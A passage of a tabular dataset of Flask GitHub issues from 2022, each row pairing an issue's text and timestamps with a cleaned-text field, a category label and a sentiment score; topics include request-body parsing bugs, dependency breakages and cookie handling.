 * Debugger PIN: 128-473-016
172.27.0.1 - - [21/Apr/2022 12:55:39] ""GET /test HTTP/1.1"" 200 -
172.27.0.1 - - [21/Apr/2022 12:55:41] ""POST /test_ajax HTTP/1.1"" 200 -
172.27.0.1 - - [21/Apr/2022 12:55:42] ""{""foo"":""bar""}POST /test_ajax HTTP/1.1"" 405 -
```
Works ok for the first click, but not for the second.

If I consumes the data,

```
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.post(""/test_ajax"")
def test_ajax():
    app.logger.info(request.data)     # <<<<<<<<<
    return jsonify({""hello"": ""world""})

@app.get(""/test"")
def test():
 ... [TRUNCATED]",,2022-04-21 13:07:32+00:00,2022-04-21 13:11:45+00:00,2,nan,0.0029,json data goes to method if not consumed when json data is send in a post or put body if you don t consume this data they appear in the method string of the next request and results in a method not allowed response this example code reproduces the error this is the log result works ok for the first click but not for the second if i consumes the data from flask import flask request jsonify app flask name app post test ajax def test ajax app logger info request data return jsonify hello world app get test def test truncated,others,-0.1027
pallets/flask,1205978668,"Flask send 400 ""Bad Request Version"" ","Flask will send 400 ""Bad Request Version"" if Flask send 401 or 403 response to Client without closing the http connection.


1. Client POST text/xml message without ""Basic Authorization""
2. Server response 401, but don't send ""HTTP: close""
3. Client POST text/xml message again with ""Basic Authorization""
4. Server response 400 ""Bad Request Version""

I wish Flask can handle the second POST correctly, And I have tested using another server, it works well.
Please the capture for details. And the partial code is as following(full code link:https://github.com/ballzb/pyacs )

```python
@basic_auth.verify_password
def verify_password(username, password):
    #app.logger.error(f""username={username}, password={password}"")
    if username==config['local']['username'] and password==config['local']['password']:
        return username
    else:
        g.current_user = username
        return False #username or password error

@basic_auth.error_handler
def auth_error(status_code):
    #app.logger.error(f""status_code={status_code}, username={g.current_user}"")
    if status_code == 401:
        if g.current_user:
            return cwmp.make_403_response()
        else:
            return cwmp.make_401_response(config['local']['authentication'])
    # return ""Access Denied"", status_code


@app.route('/acs', methods=['GET', 'POST'])
@multi_auth.login_required
def acs():
    """""" main tr069/acs entry point """"""
    if request.method == 'GET':
        return ... [TRUNCATED]",,2022-04-16 01:39:59+00:00,2022-04-16 05:03:45+00:00,2,nan,0.1415,flask send bad request version flask will send bad request version if flask send or response to client without closing the http connection client post text xml message without basic authorization server response but don t send http close client post text xml message again with basic authorization server response bad request version i wish flask can handle the second post correctly and i have tested using another server it works well please the capture for details and the partial code is as following full code link python basic auth verify password def verify password username password app logger error f username username password password if username config local username and password config local password return username else g current user username return false username or password error basic auth error handler def auth error status code app logger error f status code status code username g current user if status code if g current user return cwmp make response else return cwmp make response config local authentication return access denied status code app route acs methods get post multi auth login required def acs main tr acs entry point if request method get return truncated,feature,-0.9775
pallets/flask,1205961711,"PUT request writes a second response: ""HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.""","A tiny Flask app with a PUT request is behaving strangely: after it sends the response body that it is supposed to send (from my code), it then sends a second response body with a Flask error in it. The core of the error response is ""Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.""

It looks as though something is parsing the PUT request body as the beginning of a second HTTP request on the same TCP connection.

Here is my app to reproduce the problem (`flaskdouble.py):

```
import flask

app = flask.Flask('flaskdouble')

@app.route('/foo', methods=['PUT', 'POST'])
def foo():
    return 'simple response\n'
```

I'm running it in a Flask working dir, on the 2.1.x branch:

```
FLASK_APP=flaskdouble FLASK_ENV=development ./env/bin/flask run --port 4080
```

To see the problem, I needed to attach a packet sniffer to the connection. For example, ngrep can do it with

```
sudo ngrep -d lo -W byline port 4080
```

Now with both `flaskdouble.py` and ngrep running, send a request to it:

```
curl -v -X PUT -H 'content-type: text/plain' -d 'hello' http://localhost:4080/foo
*   Trying 127.0.0.1:4080...
* Connected to localhost (127.0.0.1) port 4080 (#0)
> PUT /foo HTTP/1.1
> Host: localhost:4080
> User-Agent: curl/7.74.0
> Accept: */*
> content-type: text/plain
> Content-Length: 5
> 
* upload completely sent off: 5 out of 5 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Wer... [TRUNCATED]",,2022-04-16 00:17:54+00:00,2022-04-16 00:22:20+00:00,3,nan,0.0031,put request writes a second response httpstatus bad request bad request syntax or unsupported method a tiny flask app with a put request is behaving strangely after it sends the response body that it is supposed to send from my code it then sends a second response body with a flask error in it the core of the error response is error code explanation httpstatus bad request bad request syntax or unsupported method it looks as though something is parsing the put request body as the beginning of a second http request on the same tcp connection here is my app to reproduce the problem flaskdouble py i m running it in a flask working dir on the x branch to see the problem i needed to attach a packet sniffer to the connection for example ngrep can do it with now with both and ngrep running send a request to it curl v x put h content type text plain d hello trying connected to localhost port put foo http host localhost user agent curl accept content type text plain content length upload completely sent off out of bytes mark bundle as not supporting multiuse http ok server wer truncated,feature,-0.9856
pallets/flask,1205470908,Is it a bug ? ,"My python flask :

```
@app.route('/insert/item', methods=['POST'])
def insert_item():

    return """"
```

In html I try to post a request to /insert/item :

```
fetch('/insert/item', {
            method: 'POST', 
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({""item"":""ABCD""}),
        })
```

My flask only response to the fetch the first time. 
It wont response afterward.

I have to add request_json = request.get_json() in the flask app to solve the issue",,2022-04-15 10:27:28+00:00,2022-04-15 13:17:09+00:00,2,nan,0.1178,is it a bug my python flask in html i try to post a request to insert item my flask only response to the fetch the first time it wont response afterward i have to add request json request get json in the flask app to solve the issue,bug,-0.296
pallets/flask,1204355224,Fuzzing integration by way of OSS-Fuzz,"Hi,

Given the popularity of flask I was thinking that it would be nice to set up continuous fuzzing of flask by way of OSS-Fuzz. In this PR: https://github.com/google/oss-fuzz/pull/7542 I have done exactly that, namely created the necessary logic from an OSS-Fuzz perspective to integrate flask. This includes developing an initial two fuzzers as well as the necessary glue for working with OSS-Fuzz. Down the line it is preferable to have the fuzzers upstream but it can be convenient to have on OSS-Fuzz to begin with.

Essentially, OSS-Fuzz is a free service run by Google that performs continuous fuzzing of important open source projects. The only expectation of integrating into OSS-Fuzz is that bugs will be fixed. This is not a ""hard"" requirement in that no one enforces this and the main point is if bugs are not fixed then it is a waste of resources to run the fuzzers, which we would like to avoid. The fuzzing set up on the OSS-Fuzz side relies on Atheris fuzzer to perform the fuzzing.

If you would like to integrate, the only thing I need is as list of email(s) that will get access to the data produced by OSS-Fuzz, such as bug reports, coverage reports and more stats. Notice the emails affiliated with the project will be public in the OSS-Fuzz repo, as they will be part of a configuration file.
",,2022-04-14 10:27:54+00:00,2022-04-14 13:43:57+00:00,4,nan,0.1361,fuzzing integration by way of oss fuzz hi given the popularity of flask i was thinking that it would be nice to set up continuous fuzzing of flask by way of oss fuzz in this pr i have done exactly that namely created the necessary logic from an oss fuzz perspective to integrate flask this includes developing an initial two fuzzers as well as the necessary glue for working with oss fuzz down the line it is preferable to have the fuzzers upstream but it can be convenient to have on oss fuzz to begin with essentially oss fuzz is a free service run by google that performs continuous fuzzing of important open source projects the only expectation of integrating into oss fuzz is that bugs will be fixed this is not a hard requirement in that no one enforces this and the main point is if bugs are not fixed then it is a waste of resources to run the fuzzers which we would like to avoid the fuzzing set up on the oss fuzz side relies on atheris fuzzer to perform the fuzzing if you would like to integrate the only thing i need is as list of email s that will get access to the data produced by oss fuzz such as bug reports coverage reports and more stats notice the emails affiliated with the project will be public in the oss fuzz repo as they will be part of a configuration file,others,0.759
pallets/flask,1200592576,HTTPStatus.BAD_REQUEST if don't access the body data,"Got error messages if don't access the body data in POST route. And I guess lost connection.

```
127.0.0.1 - - [12/Apr/2022 00:39:05] ""POST /good HTTP/1.1"" 200 -
127.0.0.1 - - [12/Apr/2022 00:39:13] ""POST /bad HTTP/1.1"" 200 -
127.0.0.1 - - [12/Apr/2022 00:39:13] code 400, message Bad HTTP/0.9 request type ('{""id"":')
127.0.0.1 - - [12/Apr/2022 00:39:13] ""None /bad HTTP/0.9"" HTTPStatus.BAD_REQUEST -
```
Return data both good, but Bad route do something criminal

Example:
```
from flask import Flask, request
app = Flask(__name__)

@app.route('/bad', methods=['POST'])
def bad():
    return 'OK'

@app.route('/good', methods=['POST'])
def good():
    # j = request.get_json()  also works
    d = request.data
    return 'OK'

if __name__ == ""__main__"":
    app.run(host='127.0.0.1', port=8000, debug=True, use_reloader=False)
```

Request 1:
```
curl -X POST -H 'Content-Type: application/json' -H 'Connection: keep-alive' -d '{""id"": ""fo""}' http://127.0.0.1:8000/good -v
```

GOOD: no error messages in log
```
127.0.0.1 - - [12/Apr/2022 00:39:05] ""POST /good HTTP/1.1"" 200 -
```

Request 2:
```
curl -X POST -H 'Content-Type: application/json' -H 'Connection: keep-alive' -d '{""id"": ""fo""}' http://127.0.0.1:8000/bad -v
```

BAD: 
```
127.0.0.1 - - [12/Apr/2022 00:39:13] ""POST /bad HTTP/1.1"" 200 -
127.0.0.1 - - [12/Apr/2022 00:39:13] code 400, message Bad HTTP/0.9 request type ('{""id"":')
127.0.0.1 - - [12/Apr/2022 00:39:13] ""None /bad HTTP/0.9"" ... [TRUNCATED]",,2022-04-11 22:03:43+00:00,2022-04-12 17:17:34+00:00,2,nan,0.8013,httpstatus bad request if don t access the body data got error messages if don t access the body data in post route and i guess lost connection return data both good but bad route do something criminal example request good no error messages in log request bad apr post bad http apr code message bad http request type id apr none bad http truncated,feature,-0.9893
pallets/flask,1199927562,Repeated acceptance response,"<!--
-->
Hello, when I use a flask, I found that the request will execute multiple responses, I don't know where the problem is
<!--

Environment:

- Python version: 3.8
- Flask version:  
```
Python 3.8.11
Flask 1.1.2
Werkzeug 1.0.1

```

Describe how to replicate the bug.
-->

main.py:
```
import server

def print_hi(name):
    print(f'Hi, {name}') 


if __name__ == '__main__':
    # print_hi('PyCharm')
    server.start_server()

```

server.py:

```
import json

from flask import Flask, request
from threading import Thread
import logger

import alertManager
import captureutil


app = Flask('')
@app.route('/webhook', methods=['POST', 'GET'])
def post_message():
  try:
    jsonRequest=request.args.get(""jsonRequest"")
    data = request.data
    body_unicode = data.decode('utf-8')
    logger.log_handler(f""Trigger response begin ---"")

    if request.method == 'POST':
      if jsonRequest == ""true"":
        if check_json(body_unicode):
          json_data = json.loads(data)
          logger.log_handler(f"" post jsonData:{json_data}"")
          sendJsonFunc(json_data)
          return 'success', 200
        else:
          logger.log_handler(f"" post text :{body_unicode}"")
          sendTextFunc(body_unicode)
          return 'success', 200
      else:
        logger.log_handler(f"" post text :{body_unicode}"")
        sendTextFunc(body_unicode)
        return 'success', 200
    else:
      logger.log_handler(f"" ... [TRUNCATED]",,2022-04-11 12:51:31+00:00,2022-04-11 13:13:25+00:00,2,nan,0.0152,repeated acceptance response hello when i use a flask i found that the request will execute multiple responses i don t know where the problem is environment python version flask version describe how to replicate the bug main py server py import json from flask import flask request from threading import thread import logger import alertmanager import captureutil app flask app route webhook methods post get def post message try jsonrequest request args get jsonrequest data request data body unicode data decode utf logger log handler f trigger response begin if request method post if jsonrequest true if check json body unicode json data json loads data logger log handler f post jsondata json data sendjsonfunc json data return success else logger log handler f post text body unicode sendtextfunc body unicode return success else logger log handler f post text body unicode sendtextfunc body unicode return success else logger log handler f truncated,others,0.9042
pallets/flask,1199125659,test_click_7_deprecated test fails when click 7 is used in test environment,"The test suite invoked with `pytest -vv tests` fails like:

```
=================================== FAILURES ===================================
___________________________ test_click_7_deprecated ____________________________

    def test_click_7_deprecated():
        with patch(""flask.cli.cli""):
            if int(click.__version__[0]) < 8:
>               pytest.deprecated_call(cli_main, match="".* Click 7 is deprecated"")
E               Failed: DID NOT WARN. No warnings of type (<class 'DeprecationWarning'>, <class 'PendingDeprecationWarning'>) was emitted. The list of emitted warnings is: [].

tests/test_cli.py:662: Failed
=========================== short test summary info ============================
FAILED tests/test_cli.py::test_click_7_deprecated - Failed: DID NOT WARN. No ...
============ 1 failed, 456 passed, 14 skipped, 3 xpassed in 10.88s =============
```
when the click dependency is at version 7.1.2.

Environment:

- Python version: 3.9.9
- Flask version: 2.1.1
",,2022-04-10 17:54:48+00:00,2022-04-11 13:09:29+00:00,5,nan,0.8019,test click deprecated test fails when click is used in test environment the test suite invoked with fails like when the click dependency is at version environment python version flask version,others,-0.4767
pallets/flask,1197175672,test_cli_runner() does not work as demonstrated in the documentation,"In the documentation for 2.0.x forward, the use of the `.invoke()` method is showcased like so:
[`runner.invoke([""hello"", ""--name"", ""Flask""])`](https://flask.palletsprojects.com/en/2.1.x/testing/#running-commands-with-the-cli-runner).

However, the first positional argument to `.invoke()` is the command object:
[`def invoke(self, cli: t.Any = None, args: t.Any = None, **kwargs: t.Any ) -> t.Any:`](https://github.com/pallets/flask/blob/f59574f61198f139616868393db8785bcf9e0fdf/src/flask/testing.py#L261=)
So usage as described by the documentation won't work.
I'm quite confused as to why the documentation was changed when the method was never altered.

I suggest either the documentation be changed or the position of `cli` and `args` be switched.

",docs,2022-04-08 11:02:27+00:00,2022-04-08 18:05:27+00:00,1,docs,0.2938,test cli runner does not work as demonstrated in the documentation in the documentation for x forward the use of the method is showcased like so however the first positional argument to is the command object so usage as described by the documentation won t work i m quite confused as to why the documentation was changed when the method was never altered i suggest either the documentation be changed or the position of and be switched,documentation,0.2748
pallets/flask,1196166408,Header issue with body request,"I'm seeing exactly the same problem as described in issue #2100, which has now been closed without any comment.

On sending a second GET to an endoint that has previously received a POST on the same endpoint, Flask prepends the previous POST data to the method of the GET resulting in a Method Not Allowed for that request:

The GET page contains a very simple form, with a submit button named action set to value login.

```
127.0.0.1 - - [07/Apr/2022 16:43:00] ""GET /login/UOFVq8Wu HTTP/1.1"" 200 -
127.0.0.1 - - [07/Apr/2022 16:43:03] ""POST /login/UOFVq8Wu HTTP/1.1"" 200 -
127.0.0.1 - - [07/Apr/2022 16:43:14] ""action=loginGET /login/u4onflQV HTTP/1.1"" 405 -
```

Environment:
- Python version: 3.10.4
- Flask version: 2.1.1",,2022-04-07 14:52:14+00:00,2022-04-07 15:50:28+00:00,3,nan,0.0404,header issue with body request i m seeing exactly the same problem as described in issue which has now been closed without any comment on sending a second get to an endoint that has previously received a post on the same endpoint flask prepends the previous post data to the method of the get resulting in a method not allowed for that request the get page contains a very simple form with a submit button named action set to value login environment python version flask version,bug,-0.0772
pallets/flask,1192331230,"Argument 1 to ""loads"" has incompatible type ""bytes""; expected ""str""","From the [documentations](https://docs.python.org/3/library/json.html#json.loads), json.loads accepts bytes as an argument, so i'm not sure what's the reasoning behind flask.json annotating it to `str` only. https://github.com/pallets/flask/blob/main/src/flask/json/__init__.py#L156. As a result, mypy is raising an error.

Is this correct?

```python
import requests
from flask.json import loads

# Making a get request
response = requests.get('https://api.github.com')

# With response.content
loads(response.content)
Argument 1 to ""loads"" has incompatible type ""bytes""; expected ""str""

# With response.text
loads(response.text)
No issue
```

Environment:

- Python version: 3.8x
- Flask version: 2.1x
",typing,2022-04-04 21:24:43+00:00,2022-04-24 16:58:09+00:00,2,typing,19.8149,argument to loads has incompatible type bytes expected str from the documentations json loads accepts bytes as an argument so i m not sure what s the reasoning behind flask json annotating it to only as a result mypy is raising an error is this correct environment python version x flask version x,others,-0.787
pallets/flask,1190209977,`flask.safe_join` Was Removed Without A Clear Deprecation Notice,"In version 2.1.1, `flask.safe_join` was removed. However, the [documentation for version 2.0.x](https://flask.palletsprojects.com/en/2.0.x/api/#flask.safe_join) did not include any deprecation notice. 

A deprecation warning _was_ raised when calling `safe_join` in version 2.0.x, but many developers rely on the documentation for deprecation notices. Also, the warning referred explicitly only to `flask.helpers.safe_join`, and not to `flask.safe_join`, so it made sense to assume that the shorthand `flask.safe_join` will continue to exist (wrapping `werkzeug.utils.safe_join` instead of `flask.helpers.safe_join`).

I suppose many developers were surprised like me from the change, and hence many applications broke after a Flask upgrade (or will break soon, when they upgrade).

To mitigate this problem, I suggest `flask.safe_join` is reintroduced for version 2.1.x (and as soon as possible), while a clear deprecation notice is added to the documentation.",,2022-04-01 19:51:20+00:00,2022-04-01 19:54:35+00:00,1,nan,0.0023,was removed without a clear deprecation notice in version was removed however the documentation for version x did not include any deprecation notice a deprecation warning was raised when calling in version x but many developers rely on the documentation for deprecation notices also the warning referred explicitly only to and not to so it made sense to assume that the shorthand will continue to exist wrapping instead of i suppose many developers were surprised like me from the change and hence many applications broke after a flask upgrade or will break soon when they upgrade to mitigate this problem i suggest is reintroduced for version x and as soon as possible while a clear deprecation notice is added to the documentation,others,-0.8874
pallets/flask,1189981167,Location header relative rather than absolute URI.,"Flask renders  `response.headers['Location']` as relative rather than absolute path.

I have a bunch of failing tests moving from 2.0.3 to 2.1.x fitting this pattern:
```python
    def test_base_url_redirects_to_home(test_client, test_app):
        """"""Base url should go to home page.""""""
        response = test_client.get('/')
        assert response.status_code == 301
>       assert response.headers['Location'] == 'http://localhost/home/'
E       AssertionError: assert '/home/' == 'http://localhost/home/'
E         - http://localhost/home/
E         + /home/
```
Where the underlying route is:
```python
@bp.route('/', methods=['GET'])
def base_url():
    """"""Redirect bare url to home page.""""""
    return redirect(url_for('my_site.home'), code=301)
```

These tests were passing before the version bump, with no changes to application code. 
An interesting wrinkle is that tests still pass on Ubuntu in github actions, but not Windows. 

Environment:

- Python version: 3.8, 3.9
- Flask version: 2.0.3, 2.1.0, 2.1.1


My understanding (which may be flawed) is that this is a Flask behavioral change, and that spec would be for the header to contain an absolute URI.  Feel free to correct me if I'm wrong. ",,2022-04-01 15:45:59+00:00,2022-04-01 15:49:23+00:00,2,nan,0.0024,location header relative rather than absolute uri flask renders as relative rather than absolute path i have a bunch of failing tests moving from to x fitting this pattern where the underlying route is these tests were passing before the version bump with no changes to application code an interesting wrinkle is that tests still pass on ubuntu in github actions but not windows environment python version flask version my understanding which may be flawed is that this is a flask behavioral change and that spec would be for the header to contain an absolute uri feel free to correct me if i m wrong,others,-0.1531
pallets/flask,1189456046,add GitHub Sponsors,"Could developers add [GitHub Sponsors](https://github.com/sponsors) option in this repository?

Thanks.",,2022-04-01 08:37:52+00:00,2022-04-01 12:27:33+00:00,1,nan,0.1595,add github sponsors could developers add github sponsors option in this repository thanks,others,0.4404
pallets/flask,1186060577,Flask 2.1.0 can't handle request method properly when sending POST repeatedly with an empty body,"With the following example:

```python
from flask import Flask

app = Flask(__name__)


@app.route('/', methods=['POST'])
def hello_world():
    return 'Hello World!'


if __name__ == '__main__':
    app.run()
```
When you set the request body to `{}` with Postman or any HTTP clients, the first request will return 200, while the second request will return a 405 error response. The log shows the request method is `{}POST`:

```
""{}POST / HTTP/1.1"" 405
```

Notice the request body became the part of the request method.
",,2022-03-30 08:14:13+00:00,2022-03-30 15:31:43+00:00,6,nan,0.3038,flask can t handle request method properly when sending post repeatedly with an empty body with the following example when you set the request body to with postman or any http clients the first request will return while the second request will return a error response the log shows the request method is notice the request body became the part of the request method,feature,-0.5859
pallets/flask,1185242108,flask==1.1.1 breaks with with werkzeug==2.1.0,"A recent update to the werkzeug code is breaking flask during server startup
Since `flask==1.1.1` does not pin python requirement versions, it gets installed against the latest `werkzeug==2.1.0`
In the latest `werkzeug==2.1.0`, the response classes have been refactored and the `BaseResponse` class is no longer availab.e
<!--
Describe how to replicate the bug.
Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
Install flask==1.1.1
The runserver fails with an import error due to recent changes to werkzeug
```python
Traceback (most recent call last):
  File ""/usr/local/bin/moto_server"", line 5, in <module>
    from moto.server import main
  File ""/usr/local/lib/python3.8/dist-packages/moto/server.py"", line 10, in <module>
    from flask import Flask
  File ""/usr/local/lib/python3.8/dist-packages/flask/__init__.py"", line 21, in <module>
    from .app import Flask
  File ""/usr/local/lib/python3.8/dist-packages/flask/app.py"", line 32, in <module>
    from werkzeug.wrappers import BaseResponse
ImportError: cannot import name 'BaseResponse' from 'werkzeug.wrappers' (/usr/local/lib/python3.8/dist-packages/werkzeug/wrappers/__init__.py)
```
<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:
- Python version: 2.8
- Flask version: 2.1.1 
",,2022-03-29 18:15:47+00:00,2022-03-29 18:26:19+00:00,1,nan,0.0073,flask breaks with with werkzeug a recent update to the werkzeug code is breaking flask during server startup since does not pin python requirement versions it gets installed against the latest in the latest the response classes have been refactored and the class is no longer availab e describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception install flask the runserver fails with an import error due to recent changes to werkzeug describe the that should have happened but didn t environment python version flask version,others,-0.7579
pallets/flask,1185062738,"BadRequest at hasattr(request, 'json')","Hi guys, yesterday i notice that getting or verifying 'json' in request object, an exception (BadRequest) raise

For getattr(request, 'json') or even hasattr(request, 'json') I got:

``` 
{BadRequest}400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
```

Someone can help me to understand? Thanks

Environment:

- Python version: 3.7, 3.9
- Flask version: Latest (2.1.0)
",,2022-03-29 15:41:03+00:00,2022-03-29 15:50:24+00:00,2,nan,0.0065,badrequest at hasattr request json hi guys yesterday i notice that getting or verifying json in request object an exception badrequest raise for getattr request json or even hasattr request json i got someone can help me to understand thanks environment python version flask version latest,feature,0.6808
pallets/flask,1184580986,TypeError: entry_points() got an unexpected keyword argument 'group',"## Synopsis

TypeErrors referencing the `entry_points()` method were raised, while running Flask projects initially written for Version 2.0.1. The error does not seem to be a user-programming mistake, as the error was seen when running the Tutorial Project provided in the Flask Documentation.


## Programming Environment

The referenced Tutorial project is found in the following documentation: https://flask.palletsprojects.com/en/2.0.x/tutorial/
Minor corrections were made to the `__init__` file to mirror the Tutorial file in v2.1.0.

### Environment:
- Python version: 3.7.4
- Flask version: 2.0.1
- OS: MacOS High Sierra


## Error Statement
```
Traceback (most recent call last):
  File ""/Library/Frameworks/Python.framework/Versions/3.7/bin/flask"", line 8, in <module>
    sys.exit(main())
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/flask/cli.py"", line 985, in main
    cli.main()
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/flask/cli.py"", line 579, in main
    return super().main(*args, **kwargs)
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/click/core.py"", line 1055, in main
    rv = self.invoke(ctx)
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/click/core.py"", line 1651, in invoke
    cmd_name, cmd, args = self.resolve_command(ctx, args)
  File ""/Library/Frameworks/Python.framework/Vers... [TRUNCATED]",,2022-03-29 09:33:52+00:00,2022-03-30 21:23:51+00:00,7,nan,1.493,typeerror entry points got an unexpected keyword argument group synopsis typeerrors referencing the method were raised while running flask projects initially written for version the error does not seem to be a user programming mistake as the error was seen when running the tutorial project provided in the flask documentation programming environment the referenced tutorial project is found in the following documentation minor corrections were made to the file to mirror the tutorial file in v environment python version flask version os macos high sierra error statement traceback most recent call last file library frameworks python framework versions bin flask line in sys exit main file library frameworks python framework versions lib python site packages flask cli py line in main cli main file library frameworks python framework versions lib python site packages flask cli py line in main return super main args kwargs file library frameworks python framework versions lib python site packages click core py line in main rv self invoke ctx file library frameworks python framework versions lib python site packages click core py line in invoke cmd name cmd args self resolve command ctx args file library frameworks python framework vers truncated,bug,-0.7579
pallets/flask,1182161518,flask not working at all,I put `import flask from Flask` even though I did the pip install the module isn't working for some reason?,,2022-03-26 23:13:13+00:00,2022-03-26 23:14:40+00:00,1,nan,0.001,flask not working at all i put even though i did the pip install the module isn t working for some reason,others,0.0
pallets/flask,1180664011,Flask failing to startup due to Jinja2 breaking change,"**This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.**

Since Jinja2 version 3.1.0 was released yesterday, Flask is failing to startup.

**Describe how to replicate the bug.**

Run a basic flask app, it fails to start up with the following traceback:
```
Traceback (most recent call last):

  File ""application.py"", line 1, in <module>

    from flask import Flask, Response, jsonify, request

  File ""/usr/local/lib/python3.8/site-packages/flask/__init__.py"", line 14, in <module>

    from jinja2 import escape

ImportError: cannot import name 'escape' from 'jinja2' (/usr/local/lib/python3.8/site-packages/jinja2/__init__.py)
```

**Describe the expected behavior that should have happened but didn't.**
Application starts up successfully.

Pinning Jinja to 3.0.3 bypasses this issue for us for now, but there's a breaking change there somewhere that will need to be fixed in Flask itself.

**Environment:**

- Python version: 3.8.8
- Flask version: 1.1.2
",,2022-03-25 11:14:23+00:00,2022-03-25 13:03:19+00:00,17,nan,0.0756,flask failing to startup due to jinja breaking change this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code since jinja version was released yesterday flask is failing to startup describe how to replicate the bug run a basic flask app it fails to start up with the following traceback describe the that should have happened but didn t application starts up successfully pinning jinja to bypasses this issue for us for now but there s a breaking change there somewhere that will need to be fixed in flask itself environment python version flask version,others,-0.2732
pallets/flask,1174757972,Sessions not fully encoded?,"Are the contents of the session cookie really safe?

Hey there, I was browsing around with the flask sessions, and I got interested. I put the session into a base64decoder, and the exact contents where right there. Is there no other way to approach this issue? Is it really safe as everything before the dot is just base64 encoded?

Is it possible to also encode the contents of the cookie in a secure way, such that only the server can have the contents?",,2022-03-21 00:58:09+00:00,2022-03-21 02:44:59+00:00,2,nan,0.0742,sessions not fully encoded are the contents of the session cookie really safe hey there i was browsing around with the flask sessions and i got interested i put the session into a base decoder and the exact contents where right there is there no other way to approach this issue is it really safe as everything before the dot is just base encoded is it possible to also encode the contents of the cookie in a secure way such that only the server can have the contents,others,0.8514
pallets/flask,1174675133,`flaskr` docs use raw SQL statements in SQLAlchemy,"Hello everyone and thanks for this project, especially the fantastic documentations!

In [this part of the documentation](https://flask.palletsprojects.com/en/2.0.x/tutorial/views/#the-first-view-register), the `flaskr` example application handles authentication mechanisms by inserting new users / authenticating existing users by connecting to a SQLite database. It uses raw string statements to register new users and/or authenticate them.

Of course, this is an example application, but SQLAlchemy offers database statements as objects which have several benefits as:

- SQL injection safety
- Database actions _as code_

The tutorial does in this case not show the optimal code regarding database statement executions. 

New(er) programmers might not just make their first steps in web application programming using Python Flask, but maybe even make their first steps connecting to a database. I'd propose to rather use a code snippet similar to this:

```python
# code snippet for registering a new user
users = Table('users', metadata, autoload=True)
stmt = users.insert()
stmt.execute(username=username, password=generate_password_hash(password))
```

This way, one does not think about writing raw SQL statements and writes safe code by default.

Thank you and have a nice day!",,2022-03-20 20:28:48+00:00,2022-03-20 20:32:29+00:00,2,nan,0.0026,docs use raw sql statements in sqlalchemy hello everyone and thanks for this project especially the fantastic documentations in this part of the documentation the example application handles authentication mechanisms by inserting new users authenticating existing users by connecting to a sqlite database it uses raw string statements to register new users and or authenticate them of course this is an example application but sqlalchemy offers database statements as objects which have several benefits as sql injection safety database actions as code the tutorial does in this case not show the optimal code regarding database statement executions new er programmers might not just make their first steps in web application programming using python flask but maybe even make their first steps connecting to a database i d propose to rather use a code snippet similar to this this way one does not think about writing raw sql statements and writes safe code by default thank you and have a nice day,documentation,0.9619
pallets/flask,1169404528,save_session does not preserve HttpOnly when deleting the cookie,"When the session modified such that it ends up empty, the session cookie is deleted by sending an expired cookie. This 'deletion cookie' is missing the HttpOnly flag. The bug is [in the call to delete_cookie](https://github.com/pallets/flask/blob/b655a9db30d8e78d2fe1044d6301a432f214a16b/src/flask/sessions.py#L392), which is missing the httponly kwarg. 

```
from flask import Flask, session

app = Flask(__name__)
app.secret_key = ""whatever""
app.config['SESSION_COOKIE_HTTPONLY'] = True # the default

@app.route('/')
def index():
    session['foo'] = 1  # sets session.modified
    session.pop('foo')  # afterwards, the session is empty again
    return """"

app.run()
```

expected behavior: the HttpOnly flag should be present on the 'deletion cookie'.

Environment:

- Python version: 3.10.2
- Flask version: 2.0.3
",,2022-03-15 09:29:04+00:00,2022-03-15 13:38:35+00:00,1,nan,0.1733,save session does not preserve httponly when deleting the cookie when the session modified such that it ends up empty the session cookie is deleted by sending an expired cookie this deletion cookie is missing the httponly flag the bug is in the call to delete cookie which is missing the httponly kwarg the httponly flag should be present on the deletion cookie environment python version flask version,others,-0.6124
pallets/flask,1165973856,Connection reset error,"Hi there!
I'm having issues with flask, deployed by gevent.
If I wait like 30 minutes and visit the page it would first show connection reset, and then it would immediately reload the page and make it work normally.
The issue is that I created an app, which interacts with flask and it gets connection reset errors as well.
I suspect flask goes ""idle"" after a while.
Thanks!",,2022-03-11 04:04:00+00:00,2022-03-11 04:17:57+00:00,1,nan,0.0097,connection reset error hi there i m having issues with flask deployed by gevent if i wait like minutes and visit the page it would first show connection reset and then it would immediately reload the page and make it work normally the issue is that i created an app which interacts with flask and it gets connection reset errors as well i suspect flask goes idle after a while thanks,bug,0.2263
pallets/flask,1164297106,Error when parse <link> tag,"By example:

```xml
<?xml version=""1.0"" encoding=""UTF-8"" ?>
<rss version=""2.0"">
    <channel>
        <title>Example</title>
        <link>https://example.com/</link>
        <description>Etc</description>
        {% for page in pages %}
            <item>
                <title>{{ page['data']['card']['title'] }}</title>
                <link>{{ 'https://example.com%s/' % page['baseuri'] }}</link>
                <description><![CDATA[
                    {% with summary = True %}
                        {% include page['uri-resume'] %}
                    {% endwith %}
                ]]></description>
            </item>
        {% endfor %}
    </channel>
</rss>
```

Result is:

```xml
<?xml version=""1.0"" encoding=""UTF-8"" ?>
<rss version=""2.0"">
 <channel>
  <title>
   Example
  </title>
  <link/>
  https://example.com/
  <description>
   Etc
  </description>
  <item>
   <title>
    Article title
   </title>
   <link/>
   https://example.com/categories/foo/2022/03/article/
   <description>
    <![CDATA[
    Foo...
                ]]>
   </description>
  </item>
 </channel>
</rss>
```

The URL is printed out of link tag.",,2022-03-09 18:31:59+00:00,2022-03-09 18:33:22+00:00,3,nan,0.001,error when parse tag by example result is the url is printed out of link tag,bug,-0.4588
pallets/flask,1162727272,`app.route` and similar decorators can have better types,"Currently, `@app.route` creates a decorator function that takes in a `t.Callable` and returns a `t.Callable`.

This leads to type erasure:

```python
import flask

def foo() -> bool:
    return True

